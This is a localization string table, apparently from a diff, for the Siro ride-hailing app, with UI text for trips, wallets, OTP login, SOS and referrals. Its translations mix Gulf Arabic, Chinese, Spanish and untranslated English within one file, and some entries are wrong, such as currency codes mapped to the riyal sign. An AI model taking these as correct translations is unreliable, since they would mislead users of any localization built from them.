"Leave a detailed comment (Optional)", - "Light Mode": "Light Mode", - "Listen": "Listen", - "Location": "Location", - "Location Received": "Location Received", - "Logout": "Logout", - "Map Error": "Map Error", - "Message": "Message", - "Mute": "كتم الصوت", - "Move map to select destination": "Move map to select destination", - "Move map to set start location": "Move map to set start location", - "Move map to set stop": "Move map to set stop", - "Move map to your home location": "Move map to your home location", - "Move map to your pickup point": "Move map to your pickup point", - "Move map to your work location": "Move map to your work location", - "N/A": "N/A", - "No Notifications": "No Notifications", - "No Recordings Found": "No Recordings Found", - "No Rides now!": "No Rides now!", - "No contacts available": "No contacts available", - "No i want": "No i want", - "No notification data found.": "No notification data found.", - "No routes available for this destination.": "No routes available for this destination.", - "No user found": "No user found", - "No,I want": "No,I want", - "No.Iwant Cancel Trip.": "No.Iwant Cancel Trip.", - "Now move the map to your pickup point": "Now move the map to your pickup point", - "Now set the pickup point for the other person": "Now set the pickup point for the other person", - "On Trip": "On Trip", - "Open": "Open", - "Open destination search": "Open destination search", - "Open in Google Maps": "Open in Google Maps", - "Order VIP Canceld": "Order VIP Canceld", - "Passenger": "Passenger", - "Passenger cancel order": "Passenger cancel order", - "Pay by MTN Wallet": "Pay by MTN Wallet", - "Pay by Sham Cash": "Pay by Sham Cash", - "Pay by Syriatel Wallet": "Pay by Syriatel Wallet", - "Pay with PayPal": "Pay with PayPal", - "Phone": "Phone", - "Phone Number": "Phone Number", - "Phone Number Check": "Phone Number Check", - "Phone number seems too short": "Phone number seems too short", - "Phone verified. Please complete registration.": "Phone verified. Please complete registration.", - "Pick destination on map": "Pick destination on map", - "Pick location on map": "Pick location on map", - "Pick on map": "Pick on map", - "Pick start point on map": "Pick start point on map", - "Plan Your Route": "Plan Your Route", - "Please add contacts to your phone.": "Please add contacts to your phone.", - "Please check your internet and try again.": "Please check your internet and try again.", - "Please enter a valid email.": "Please enter a valid email.", - "Please enter a valid phone number.": "Please enter a valid phone number.", - "Please enter the number without the leading 0": "Please enter the number without the leading 0", - "Please enter your phone number": "Please enter your phone number", - "Please go to Car now": "Please go to Car now", - "Please select a reason first": "Please select a reason first", - "Please set a valid SOS phone number.": "Please set a valid SOS phone number.", - "Please slow down": "Please slow down", - "Please wait while we prepare your trip.": "Please wait while we prepare your trip.", - "Preferences": "Preferences", - "Profile photo updated": "Profile photo updated", - "Quick Message": "Quick Message", - "reviews": "تقييم", - "Rating is": "Rating is", - "Received empty route data.": "Received empty route data.", - "Record": "Record", - "Record your trips to see them here.": "Record your trips to see them here.", - "Rejected Orders Count": "Rejected Orders Count", - "Remove waypoint": "Remove waypoint", - "Report": "Report", - "Route and prices have been calculated successfully!": "Route and prices have been calculated successfully!", - "SOS": "SOS", - "Save": "Save", - "Save Changes": "Save Changes", - "Save Name": "Save Name", - "Search country": "Search country", - "Search for a starting point": "Search for a starting point", - "Select Appearance": "Select Appearance", - "Select Education": "Select Education", - "Select Gender": "Select Gender", - "Select This Ride": "Select This Ride", - "Select betweeen types": "Select betweeen types", - "Send Email": "Send Email", - "Send SOS": "Send SOS", - "Send WhatsApp Message": "Send WhatsApp Message", - "Server Error": "Server Error", - "Server error": "Server error", - "Server error. Please try again.": "Server error. Please try again.", - "Set Destination": "Set Destination", - "Set Phone Number": "Set Phone Number", - "Set as Home": "Set as Home", - "Set as Stop": "Set as Stop", - "Set as Work": "Set as Work", - "Share": "Share", - "Share Trip": "Share Trip", - "Standard Call": "اتصال عادي", - "Share your experience to help us improve...": "Share your experience to help us improve...", - "Something went wrong. Please try again.": "Something went wrong. Please try again.", - "Speaker": "مكبر الصوت", - "Speaking...": "Speaking...", - "Speed Over": "Speed Over", - "Start Point": "Start Point", - "Stay calm. We are here to help.": "Stay calm. We are here to help.", - "Stop": "Stop", - "Submit Rating": "Submit Rating", - "Support & Info": "Support & Info", - "System Default": "System Default", - "Take a Photo": "Take a Photo", - "Tap to apply your discount": "Tap to apply your discount", - "Tap to search your destination": "Tap to search your destination", - "The driver cancelled the trip.": "The driver cancelled the trip.", - "This action cannot be undone.": "This action cannot be undone.", - "This action is permanent and cannot be undone.": "This action is permanent and cannot be undone.", - "This is for delivery or a motorcycle.": "This is for delivery or a motorcycle.", - "Time": "Time", - "To :": "To :", - "Top up Balance": "Top up Balance", - "Top up Balance to continue": "Top up Balance to continue", - "Total Invites": "Total Invites", - "Total Price": "Total Price", - "Trip booked successfully": "Trip booked successfully", - "Type your message...": "Type your message...", - "Unknown Location": "Unknown Location", - "Update Name": "Update Name", - "Verified Passenger": "Verified Passenger", - "View Map": "View Map", - "Wait for the trip to start first": "Wait for the trip to start first", - "Waiting...": "Waiting...", - "Warning": "Warning", - "Waypoint has been set successfully": "Waypoint has been set successfully", - "We use location to get accurate and nearest driver for you": "We use location to get accurate and nearest driver for you", - "WhatsApp": "WhatsApp", - "Why do you want to cancel?": "Why do you want to cancel?", - "Yes": "Yes", - "You should ideintify your gender for this type of trip!": "You should ideintify your gender for this type of trip!", - "You will choose one of above!": "You will choose one of above!", - "Your Rewards": "Your Rewards", - "Your complaint has been submitted.": "Your complaint has been submitted.", - "and acknowledge our Privacy Policy.": "and acknowledge our Privacy Policy.", - "as the driver.": "as the driver.", - "cancelled": "cancelled", - "due to a previous trip.": "due to a previous trip.", - "insert sos phone": "insert sos phone", - "is calling you": "عم يتصل فيك", - "is driving a": "is driving a", - "min added to fare": "min added to fare", - "phone not verified": "phone not verified", - "to arrive you.": "to arrive you.", - "unknown": "unknown", - "wait 1 minute to recive message": "wait 1 minute to recive message", - "Uses cellular network": "يستخدم شبكة الهاتف", - "Voice call over internet": "مكالمة صوتية عبر الإنترنت", - "with license plate": "with license plate", - "witout zero": "witout zero", - "you must insert token code": "you must insert token code", - "Syria": "叙利亚", - "SYP": "叙利亚镑", - "EGP": "EGP", - "JOD": "ر.س", - "Order": "طلب", - "OrderVIP": "طلب VIP", - "Cancel Trip": "إلغاء المشوار", - "Passenger Cancel Trip": "الراكب ألغى المشوار", - "VIP Order": "طلب VIP", - "The driver accepted your trip": "الكابتن قبل مشوارك", - "message From passenger": "رسالة من الراكب", - "Cancel": "إلغاء", - "Trip Cancelled. The cost of the trip will be added to your wallet.": "تم إلغاء المشوار. المبلغ رجع لمحفظتك.", - "token change": "تغيير الرمز", - "Changed my mind": "我改变了主意", - "Please write the reason...": "请填写原因...", - "Found another transport": "找到了其他交通工具", - "Driver is taking too long": "司机来得太慢了", - "Driver asked me to cancel": "司机要求我取消订单", - "Wrong pickup location": "上车地点错误", - "Other": "غير ذلك", - "Don't Cancel": "不要取消", - "No Drivers Found": "未找到司机", - "Sorry, there are no cars available of this type right now.": "抱歉,目前没有此类车型。", - "Refresh Map": "刷新地图", - "face detect": "التحقق من الوجه", - "Face Detection Result": "نتيجة التحقق", - "similar": "مطابق", - "not similar": "غير مطابق", - "Searching for nearby drivers...": "正在寻找附近的司机...", - "Error": "خطأ", - "Failed to search, please try again later": "搜索失败,请稍后重试", - "Connection Error": "连接错误", - "Please check your internet connection": "请检查您的网络连接", - "Sorry 😔": "抱歉 😔", - "The driver cancelled the trip for an emergency reason.\\nDo you want to search for another driver immediately?": "司机因紧急情况取消了行程。\\n您想立即寻找其他司机吗?", - "Search for another driver": "寻找其他司机", - "We apologize 😔": "我们深表歉意 😔", - "No drivers found at the moment.\\nPlease try again later.": "目前未找到司机。\\n请稍后重试。", - "Hi ,I will go now": "هلا، أنا بطلع الحين", - "Passenger come to you": "الراكب جايك", - "Call Income": "مكالمة واردة", - "Call Income from Passenger": "مكالمة من الراكب", - "Criminal Document Required": "صحيفة خلو السوابق مطلوبة", - "You should have upload it .": "لازم ترفعها طال عمرك.", - "Call End": "انتهاء المكالمة", - "The order has been accepted by another driver.": "الطلب أخذه كابتن ثاني.", - "The order Accepted by another Driver": "الطلب راح لكابتن ثاني", - "We regret to inform you that another driver has accepted this order.": "المعذرة، في كابتن ثاني سبقك وأخذ الطلب.", - "Driver Applied the Ride for You": "الكابتن قدم الطلب لك", - "Applied": "تم التقديم", - "Please go to Car Driver": "تفضل عند الكابتن", - "Ok I will go now.": "أبشر، رايح له الحين.", - "Accepted Ride": "المشوار مقبول", - "Driver Accepted the Ride for You": "الكابتن قبل المشوار عشانك", - "Promo": "كود خصم", - "Show latest promo": "عرض الخصومات", - "Trip Monitoring": "متابعة المشوار", - "Driver Is Going To Passenger": "الكابتن متوجه للراكب", - "Please stay on the picked point.": "خليك في الموقع المحدد لا هنت.", - "message From Driver": "رسالة من الكابتن", - "Trip is Begin": "بدأ المشوار", - "Cancel Trip from driver": "إلغاء من الكابتن", - "We will look for a new driver.\\nPlease wait.": "بنشوف لك كابتن ثاني.\\nانتظر لاهنت.", - "The driver canceled your ride.": "الكابتن ألغى مشوارك.", - "Driver Finish Trip": "الكابتن خلص المشوار", - "you will pay to Driver": "الدفع للكابتن", - "Don’t forget your personal belongings.": "انتبه لأغراضك الشخصية.", - "Please make sure you have all your personal belongings and that any remaining fare, if applicable, has been added to your wallet before leaving. Thank you for choosing the Siro app": "تأكد إن أغراضك معك وإن الباقي رجع للمحفظة قبل تنزل. شكراً لاستخدامك سيرو.", - "Finish Monitor": "إنهاء المتابعة", - "Trip finished": "انتهت الرحلة", - "Call Income from Driver": "اتصال من الكابتن", - "Driver Cancelled Your Trip": "الكابتن كنسل الرحلة", - "you will pay to Driver you will be pay the cost of driver time look to your Siro Wallet": "بتدفع حق وقت الكابتن، شوف محفظتك في سيرو", - "Order Applied": "تم الطلب", - "welcome to siro": "حياك في سيرو", - "login or register subtitle": "دخل رقم جوالك للدخول أو التسجيل", - "Complaint cannot be filed for this ride. It may not have been completed or started.": "ما تقدر ترفع شكوى على هالمشوار. يمكن ما كمل أو ما بدأ.", - "phone number label": "رقم الجوال", - "phone number required": "مطلوب رقم الجوال", - "send otp button": "أرسل كود التحقق", - "verify your number title": "تحقق من رقمك", - "otp sent subtitle": "أرسلنا كود من 5 أرقام على\\n@phoneNumber", - "verify and continue button": "تحقق وكمال", - "enter otp validation": "دخل الكود (5 أرقام)", - "one last step title": "خطوة أخيرة", - "complete profile subtitle": "كمل بياناتك عشان تبدأ", - "first name label": "الاسم الأول", - "first name required": "الاسم الأول مطلوب", - "last name label": "اسم العائلة", - "Verify OTP": "تأكيد الرمز", - "Verification Code": "رمز التحقق", - "We have sent a verification code to your mobile number:": "طرشنا لك رمز التحقق على جوالك:", - "Verify": "تأكيد", - "Resend Code": "إعادة إرسال", - "You can resend in": "تقدر تعيد الإرسال بعد", - "seconds": "ثانية", - "Please enter the complete 6-digit code.": "دخل الرمز كامل (6 أرقام).", - "last name required": "اسم العائلة مطلوب", - "email optional label": "الإيميل (اختياري)", - "complete registration button": "إتمام التسجيل", - "User with this phone number or email already exists.": "هالرقم أو الإيميل مسجل من قبل.", - "otp sent success": "تم إرسال الرمز للواتساب.", - "failed to send otp": "فشل إرسال الرمز.", - "server error try again": "خطأ في السيرفر، حاول مرة ثانية.", - "an error occurred": "صار خطأ غير متوقع: @error", - "otp verification failed": "رمز التحقق غلط.", - "registration failed": "فشل التسجيل.", - "welcome user": "يا هلا، @firstName!", - "Don't forget your personal belongings.": "لا تنسى أغراضك.", - "Share App": "شارك التطبيق", - "Wallet": "المحفظة", - "Balance": "الرصيد", - "Profile": "الملف الشخصي", - "Contact Support": "تواصل مع الدعم", - "Session expired. Please log in again.": "الجلسة انتهت. سجل دخولك مرة ثانية.", - "Security Warning": "⚠️ تنبيه أمني", - "Potential security risks detected. The application may not function correctly.": "اكتشفنا مخاطر أمنية. يمكن التطبيق ما يشتغل صح.", - "please order now": "اطلب الحين", - "Where to": "وين الوجهة؟", - "Where are you going?": "وين رايح؟", - "Quick Actions": "إجراءات سريعة", - "My Balance": "رصيدي", - "Order History": "سجل الطلبات", - "Contact Us": "اتصل بنا", - "Driver": "كابتن", - "Complaint": "شكوى", - "Promos": "العروض", - "Recent Places": "الأماكن الأخيرة", - "From": "من", - "WhatsApp Location Extractor": "جلب الموقع من واتساب", - "Location Link": "رابط الموقع", - "Paste location link here": "الصق الرابط هنا", - "Go to this location": "رح لهالموقع", - "Paste WhatsApp location link": "حط رابط موقع الواتساب", - "Select Order Type": "اختر نوع الطلب", - "Choose who this order is for": "الطلب لمين؟", - "I want to order for myself": "بطلب لنفسي", - "I want to order for someone else": "بطلب لشخص ثاني", - "Order for someone else": "اطلب لغيرك", - "Order for myself": "اطلب لنفسي", - "Are you want to go this site": "تبي تروح هالمكان؟", - "No": "لا", - "Siro Wallet": "محفظة سيرو", - "Have a promo code?": "عندك كود خصم؟", - "Your Wallet balance is ": "رصيدك بالمحفظة: ", - "Cash": "كاش", - "Pay directly to the captain": "ادفع للكابتن كاش", - "Top up Wallet to continue": "اشحن المحفظة عشان تكمل", - "Or pay with Cash instead": "أو ادفع كاش", - "Confirm & Find a Ride": "أكد ودور كابتن", - "Balance:": "الرصيد:", - "Alerts": "تنبيهات", - "Welcome Back!": "هلا بك من جديد!", - "Current Balance": "الرصيد الحالي", - "Set Wallet Phone Number": "حط رقم للمحفظة", - "Link a phone number for transfers": "اربط رقم للتحويلات", - "Payment History": "سجل المدفوعات", - "View your past transactions": "شوف عملياتك السابقة", - "Top up Wallet": "شحن المحفظة", - "Add funds using our secure methods": "ضيف رصيد بطرق آمنة", - "Increase Fare": "زيد السعر", - "No drivers accepted your request yet": "ماحد قبل طلبك لسه", - "Increasing the fare might attract more drivers. Would you like to increase the price?": "لو زودت السعر ممكن يجيك كابتن أسرع. تبي تزيد السعر؟", - "Please make sure not to leave any personal belongings in the car.": "تأكد إنك ما نسيت شي في السيارة.", - "Cancel Ride": "إلغاء المشوار", - "Route Not Found": "الطريق غير معروف", - "We couldn't find a valid route to this destination. Please try selecting a different point.": "ما لقينا طريق للوجهة هذي. جرب تختار نقطة ثانية.", - "You can call or record audio during this trip.": "تقدر تتصل أو تسجل صوت خلال المشوار.", - "Warning: Speeding detected!": "تنبيه: سرعة عالية!", - "Comfort": "مريح", - "Siro Balance": "رصيد سيرو", - "Electric": "كهربائية", - "Lady": "نواعم", - "Van": "عائلية (فان)", - "Rayeh Gai": "رايح جاي", - "Join Siro as a driver using my referral code!": "سجل كابتن في سيرو بكود الدعوة حقي!", - "Use code:": "استخدم الكود:", - "Download the Siro Driver app now and earn rewards!": "حمل تطبيق كابتن سيرو واكسب مكافآت!", - "Get a discount on your first Siro ride!": "لك خصم على أول مشوار في سيرو!", - "Use my referral code:": "استخدم كود الدعوة:", - "Download the Siro app now and enjoy your ride!": "حمل تطبيق سيرو واستمتع بمشوارك!", - "Contacts Loaded": "تم تحميل الأسماء", - "Showing": "عرض", - "of": "من", - "Customer not found": "العميل غير موجود", - "Wallet is blocked": "المحفظة موقوفة", - "Customer phone is not active": "جوال العميل مو شغال", - "Balance not enough": "الرصيد ما يكفي", - "Balance limit exceeded": "تجاوزت حد الرصيد", - "Incorrect sms code": "⚠️ رمز التحقق غلط. حاول مرة ثانية.", - "contacts. Others were hidden because they don't have a phone number.": "جهة اتصال. الباقي مخفي عشان ما عندهم أرقام.", - "No contacts found": "ما لقينا جهات اتصال", - "No contacts with phone numbers were found on your device.": "ما في أرقام بجهازك.", - "Permission denied": "ما في صلاحية", - "Contact permission is required to pick contacts": "نحتاج صلاحية الأسماء.", - "An error occurred while picking contacts:": "صار خطأ وحنا نختار الأسماء:", - "Please enter a correct phone": "دخل رقم جوال صح", - "Success": "تم", - "Invite sent successfully": "أرسلنا الدعوة", - "Hello! I'm inviting you to try Siro.": "هلا! أدعوك تجرب تطبيق سيرو.", - "Use my invitation code to get a special gift on your first ride!": "استخدم كودي عشان يجيك هدية بأول مشوار!", - "Your personal invitation code is:": "كود الدعوة حقك:", - "Be sure to use it quickly! This code expires at": "استعجل عليه! الكود ينتهي في", - "Download the app now:": "حمل التطبيق:", - "See you on the road!": "نشوفك بالدرب!", - "This phone number has already been invited.": "هالرقم قد أرسلنا له دعوة.", - "An unexpected error occurred. Please try again.": "صار خطأ غير متوقع. حاول مرة ثانية.", - "You deserve the gift": "تستاهل الهدية", - "Claim your 20 LE gift for inviting": "اطلب هديتك (20 ريال) للدعوة", - "You have got a gift for invitation": "جتك هدية عشان الدعوة", - "You have earned 20": "كسبت 20", - "LE": "ر.س", - "Vibration feedback for all buttons": "اهتزاز لكل الأزرار", - "Share with friends and earn rewards": "شارك مع ربعك واكسب", - "Gift Already Claimed": "أخذت الهدية من قبل", - "You have already received your gift for inviting": "قد استلمت هديتك على هالدعوة", - "Keep it up!": "كفو عليك!", - "has completed": "كمل", - "trips": "مشاوير", - "Personal Information": "المعلومات الشخصية", - "Name": "الاسم", - "Not set": "مو محدد", - "Gender": "الجنس", - "Education": "التعليم", - "Work & Contact": "العمل والتواصل", - "Employment Type": "نوع الوظيفة", - "Marital Status": "الحالة الاجتماعية", - "SOS Phone": "رقم الطوارئ", - "Sign Out": "تسجيل خروج", - "Delete My Account": "حذف حسابي", - "Update Gender": "تحديث الجنس", - "Update": "تحديث", - "Update Education": "تحديث التعليم", - "Are you sure? This action cannot be undone.": "متأكد؟ ما تقدر تتراجع بعدين.", - "Confirm your Email": "أكد إيميلك", - "Type your Email": "اكتب إيميلك", - "Delete Permanently": "حذف نهائي", - "Male": "رجل", - "Female": "أنثى", - "High School Diploma": "ثانوي", - "Associate Degree": "دبلوم", - "Bachelor's Degree": "بكالوريوس", - "Master's Degree": "ماجستير", - "Doctoral Degree": "دكتوراه", - "Select your preferred language for the app interface.": "اختر لغة التطبيق.", - "Language Options": "خيارات اللغة", - "You can claim your gift once they complete 2 trips.": "تقدر تأخذ الهدية إذا كملوا مشوارين.", - "Closest & Cheapest": "الأقرب والأرخص", - "Comfort choice": "خيار الراحة", - "Travel in a modern, silent electric car. A premium, eco-friendly choice for a smooth ride.": "تنقل بسيارة كهربائية حديثة وهادية. خيار فخم وصديق للبيئة.", - "Spacious van service ideal for families and groups. Comfortable, safe, and cost-effective travel together.": "خدمة فان واسعة للعوايل والمجموعات. راحة وأمان وتوفير.", - "Quiet & Eco-Friendly": "هادية وصديقة للبيئة", - "Lady Captain for girls": "كابتن سيدة للبنات", - "Van for familly": "فان للعائلة", - "Are you sure to delete this location?": "متأكد تبي تحذف هالموقع؟", - "Submit a Complaint": "رفع شكوى", - "Submit Complaint": "إرسال الشكوى", - "No trip history found": "ما فيه سجل مشاوير", - "Your past trips will appear here.": "مشاويرك السابقة بتطلع هنا.", - "1. Describe Your Issue": "١. وش المشكلة؟", - "Enter your complaint here...": "اكتب شكواك هنا...", - "2. Attach Recorded Audio": "٢. أرفق تسجيل صوتي", - "No audio files found.": "ما لقينا ملفات صوتية.", - "Confirm Attachment": "تأكيد الإرفاق", - "Attach this audio file?": "ترفق هالملف الصوتي؟", - "Uploaded": "تم الرفع", - "3. Review Details & Response": "٣. مراجعة التفاصيل والرد", - "Date": "التاريخ", - "Today's Promos": "عروض اليوم", - "No promos available right now.": "ما فيه عروض حالياً.", - "Check back later for new offers!": "شيك بعدين يمكن فيه عروض!", - "Valid Until:": "صالح لين:", - "CODE": "验证码", - "Login": "Iniciar sesión", - "Sign in for a seamless experience": "Inicia sesión para una experiencia sin interrupciones", - "Sign In with Google": "Iniciar sesión con Google", - "Sign in with Apple": "Iniciar sesión con Apple", - "User not found": "Usuario no encontrado", - "Need assistance? Contact us": "¿Necesitas ayuda? Contáctanos", - "Email": "Correo electrónico", - "Your email address": "Tu dirección de correo electrónico", - "Enter a valid email": "Ingresa un correo electrónico válido", - "Password": "Contraseña", - "Your password": "Tu contraseña", - "Enter your password": "Ingresa tu contraseña", - "Submit": "Enviar", - "Terms of Use & Privacy Notice": "Términos de uso y aviso de privacidad", - "By selecting \\\"I Agree\\\" below, I confirm that I have read and agree to the ": "Al seleccionar \\\"Acepto\\\" a continuación, confirmo que he leído y acepto los ", - "Terms of Use": "Términos de uso", - " and acknowledge the ": " y reconozco los ", - "Privacy Notice": "Aviso de privacidad", - ". I am at least 18 years old.": ". Tengo al menos 18 años.", - "I Agree": "أوافق", - "Continue": "متابعة", - "Enable Location": "تفعيل الموقع", - "To give you the best experience, we need to know where you are. Your location is used to find nearby captains and for pickups.": "عشان نخدمك صح، نبي نعرف موقعك. بنستخدمه عشان نلقى لك كباتن قريبين.", - "Allow Location Access": "السماح بالوصول للموقع", - "Welcome to Siro!": "حياك الله في سيرو!", - "Before we start, please review our terms.": "قبل نبدأ، راجع شروطنا لاهنت.", - "Your journey starts here": "مشوارك يبدأ هنا", - "Cancel Search": "إلغاء البحث", - "Set pickup location": "حدد موقع الانطلاق", - "Move the map to adjust the pin": "حرك الخريطة عشان تظبط الموقع", - "Searching for the nearest captain...": "جاري البحث عن أقرب كابتن...", - "No one accepted? Try increasing the fare.": "ماحد قبل؟ جرب تزيد السعر.", - "Increase Your Trip Fee (Optional)": "زيد سعر المشوار (اختياري)", - "We haven't found any drivers yet. Consider increasing your trip fee to make your offer more attractive to drivers.": "ما لقينا كباتن للحين. فكر تزيد السعر عشان يوافقون أسرع.", - "No, thanks": "لا، شكراً", - "Increase Fee": "زيد السعر", - "Copy": "نسخ", - "Promo Copied!": "تم نسخ الكود!", - "Code": "代码", - "copied to clipboard": "copiado al portapapeles", - "Price": "Precio", - "Siro's Response": "Respuesta de Siro", - "Awaiting response...": "Esperando respuesta...", - "Audio file not attached": "Archivo de audio no adjunto", - "The audio file is not uploaded yet.\\\\nDo you want to submit without it?": "الملف الصوتي لم يتم رفعه بعد.\\\\nهل تريد الإرسال بدونه؟", - "deleted": "eliminado", - "To Work": "Al trabajo", - "Work Saved": "Trabajo guardado", - "To Home": "A casa", - "Home Saved": "Casa guardada", - "Destination selected": "Destino seleccionado", - "Now select start pick": "Ahora selecciona el punto de inicio", - "OK": "OK", - "Confirm Pick-up Location": "Confirmar ubicación de recogida", - "Set Location on Map": "Establecer ubicación en el mapa", - "You can contact us during working hours from 10:00 - 16:00.": "Puede contactarnos durante el horario laboral de 10:00 a 16:00.", - "Siro is the safest and most reliable ride-sharing app designed especially for passengers in Syria. We provide a comfortable, respectful, and affordable riding experience with features that prioritize your safety and convenience. Our trusted captains are verified, insured, and supported by regular car maintenance carried out by top engineers. We also offer on-road support services to make sure every trip is smooth and worry-free. With Siro, you enjoy quality, safety, and peace of mind—every time you ride.": "Siro es la aplicación de transporte compartido más segura y confiable diseñada especialmente para pasajeros en Siria. Brindamos una experiencia de viaje cómoda, respetuosa y asequible con características que priorizan su seguridad y conveniencia. Nuestros capitanes de confianza están verificados, asegurados y respaldados por el mantenimiento regular del automóvil realizado por los mejores ingenieros. También ofrecemos servicios de apoyo en carretera para asegurarnos de que cada viaje sea sencillo y sin preocupaciones. Con Siro, disfruta de calidad, seguridad y tranquilidad cada vez que viaja.", - "Customer MSISDN doesn’t have customer wallet": "El MSISDN del cliente no tiene billetera", - "Nearest Car: ~": "Coche más cercano: ~", - "Nearest Car": "Coche más cercano", - "No cars nearby": "No hay coches cerca", - "Favorite Places": "Lugares favoritos", - "No favorite places yet!": "¡Aún no tienes lugares favoritos!", - "from your favorites": "de tus favoritos", - "Back": "Atrás", - "Enter your code below to apply the discount.": "Ingrese su código a continuación para aplicar el descuento.", - "By selecting \\\"I Agree\\\" below, I confirm that I have read and agree to the": "Al seleccionar \\\"Acepto\\\" a continuación, confirmo que he leído y acepto los", - "and acknowledge the": "y reconozco el", - "Enable Location Access": "Habilitar acceso a la ubicación", - "We need your location to find nearby drivers for pickups and drop-offs.": "Necesitamos tu ubicación para encontrar conductores cercanos para recogidas y dejadas.", - "You should restart app to change language": "Debes reiniciar la aplicación para cambiar el idioma", - "Home Page": "Página de inicio", - "To change Language the App": "Para cambiar el idioma de la aplicación", - "Learn more about our app and mission": "Aprende más sobre nuestra aplicación y misión", - "Promos For Today": "Promociones para hoy", - "Choose your ride": "Elige tu viaje", - "Your Journey Begins Here": "Tu viaje comienza aquí", - "Bonus gift": "Regalo de bonificación", - "Pay": "Pagar", - "Get": "Obtener", - "Send to Driver Again": "Enviar al conductor nuevamente", - "Driver Name:": "Nombre del conductor:", - "No trip data available": "No hay datos de viaje disponibles", - "Car Plate:": "Matrícula del coche:", - "remaining": "restante", - "Order Cancelled": "Pedido cancelado", - "You canceled VIP trip": "Cancelaste el viaje VIP", - "Passenger cancelled order": "El pasajero canceló el pedido", - "Your trip is scheduled": "Tu viaje está programado", - "Don't forget your ride!": "¡No olvides tu viaje!", - "Trip updated successfully": "Viaje actualizado con éxito", - "Car Make:": "Marca del coche:", - "Car Model:": "Modelo del coche:", - "Car Color:": "Color del coche:", - "Driver Phone:": "Teléfono del conductor:", - "Pre-booking": "Reserva anticipada", - "Waiting VIP": "Esperando VIP", - "Driver List": "Lista de conductores", - "Confirm Trip": "Confirmar viaje", - "Select date and time of trip": "Seleccionar fecha y hora del viaje", - "Date and Time Picker": "Selector de fecha y hora", - "Trip Status:": "Estado del viaje:", - "pending": "pendiente", - "accepted": "aceptado", - "rejected": "rechazado", - "Apply": "Aplicar", - "Enter your promo code": "Ingresa tu código de promoción", - "Apply Promo Code": "Aplicar código de promoción", - "Scheduled Time:": "Hora programada:", - "No drivers available": "No hay conductores disponibles", - "No drivers available at the moment. Please try again later.": "No hay conductores disponibles en este momento. Por favor, inténtalo de nuevo más tarde.", - "you have a negative balance of": "tienes un saldo negativo de", - "Please try again in a few moments": "Por favor, inténtalo de nuevo en unos momentos", - "Unknown Driver": "Conductor desconocido", - "in your": "en tu", - "The driver accepted your order for": "El conductor aceptó tu pedido para", - "wallet due to a previous trip.": "billetera debido a un viaje anterior.", - "rides": "viajes", - "Add Work": "Añadir trabajo", - "The reason is": "La razón es", - "User does not have a wallet #1652": "El usuario no tiene una billetera #1652", - "Price of trip": "Precio del viaje", - "From:": "Desde:", - "For Siro and Delivery trips, the price is calculated dynamically. For Comfort trips, the price is based on time and distance": "Para viajes de velocidad y entrega, el precio se calcula dinámicamente. Para viajes de confort, el precio se basa en el tiempo y la distancia.", - "Phone Wallet Saved Successfully": "Billetera telefónica guardada con éxito", - "Add wallet phone you use": "Añade el teléfono de la billetera que usas", - "Update Available": "Actualización disponible", - "Phone number must be exactly 11 digits long": "El número de teléfono debe tener exactamente 11 dígitos", - "Insert Wallet phone number": "Ingresa el número de teléfono de la billetera", - "Phone number isn't an Egyptian phone number": "El número de teléfono no es un número egipcio", - "A new version of the app is available. Please update to the latest version.": "Hay una nueva versión de la aplicación disponible. Por favor, actualiza a la última versión.", - "We use location to get accurate and nearest passengers for you": "Usamos la ubicación para obtener pasajeros precisos y cercanos para ti", - "This ride is already applied by another driver.": "Este viaje ya ha sido aplicado por otro conductor.", - "We use your precise location to find the nearest available driver and provide accurate pickup and dropoff information. You can manage this in Settings.": "Usamos tu ubicación precisa para encontrar el conductor disponible más cercano y proporcionar información precisa de recogida y dejada. Puedes gestionar esto en Configuración.", - "Where are you, sir?": "¿Dónde estás, señor?", - "I've been trying to reach you but your phone is off.": "He estado intentando contactarte pero tu teléfono está apagado.", - "Please don't be late": "Por favor, no llegues tarde", - "Please don't be late, I'm waiting for you at the specified location.": "Por favor, no llegues tarde, te estoy esperando en la ubicación especificada.", - "My location is correct. You can search for me using the navigation app": "Mi ubicación es correcta. Puedes buscarme usando la aplicación de navegación.", - "Hello, I'm at the agreed-upon location": "Hola, estoy en la ubicación acordada", - "How much longer will you be?": "¿Cuánto tiempo más tardarás?", - "Phone number is verified before": "El número de teléfono ya ha sido verificado", - "Change Ride": "Cambiar viaje", - "You can change the destination by long-pressing any point on the map": "Puedes cambiar el destino manteniendo presionado cualquier punto en el mapa", - "Pick from map destination": "Elige el destino en el mapa", - "Pick or Tap to confirm": "Elige o toca para confirmar", - "Accepted your order": "Tu pedido ha sido aceptado", - "Order Accepted": "Pedido aceptado", - "with type": "con tipo", - "accepted your order at price": "aceptó tu pedido al precio de", - "you canceled order": "cancelaste el pedido", - "If you want order to another person": "Si quieres pedir para otra persona", - "upgrade price": "aumentar el precio", - "airport": "aeropuerto", - "Best choice for a comfortable car with a flexible route and stop points. This airport offers visa entry at this price.": "Mejor opción para un coche cómodo con una ruta flexible y puntos de parada. Este aeropuerto ofrece entrada con visa a este precio.", - "You can upgrade price to may driver accept your order": "Puedes aumentar el precio para que el conductor acepte tu pedido", - "Change Route": "Cambiar ruta", - "No Captain Accepted Your Order": "Ningún capitán aceptó tu pedido", - "We are looking for a captain but the price may increase to let a captain accept": "Estamos buscando un capitán, pero el precio puede aumentar para que un capitán acepte", - "No, I want to cancel this trip": "No, quiero cancelar este viaje", - "Attention": "Atención", - "Trip Cancelled. The cost of the trip will be deducted from your wallet.": "Viaje cancelado. El costo del viaje se deducirá de tu billetera.", - "You will be charged for the cost of the driver coming to your location.": "Se te cobrará el costo del conductor que viene a tu ubicación.", - "reject your order.": "rechazó tu pedido.", - "Order Under Review": "Pedido en revisión", - "is reviewing your order. They may need more information or a higher price.": "está revisando tu pedido. Pueden necesitar más información o un precio más alto.", - "Vibration": "Vibración", - "Resend code": "Reenviar código", - "change device": "cambiar dispositivo", - "Device Change Detected": "Cambio de dispositivo detectado", - "You can only use one device at a time. This device will now be set as your active device.": "Solo puedes usar un dispositivo a la vez. Este dispositivo se establecerá ahora como tu dispositivo activo.", - "Click here point": "Haz clic aquí", - "Are you want to change": "¿Quieres cambiar?", - "by": "por", - "Enter your complaint here": "Ingresa tu queja aquí", - "Please enter your complaint.": "Por favor, ingresa tu queja.", - "Complaint data saved successfully": "Datos de la queja guardados con éxito", - "Trip Monitor": "Monitor de viaje", - "Insert SOS Phone": "Insertar teléfono SOS", - "Add SOS Phone": "Añadir teléfono SOS", - "Dear ,\\n\\n 🚀 I have just started an exciting trip and I would like to share the details of my journey and my current location with you in real-time! Please download the Siro app. It will allow you to view my trip details and my latest location.\\n\\n 👉 Download link: 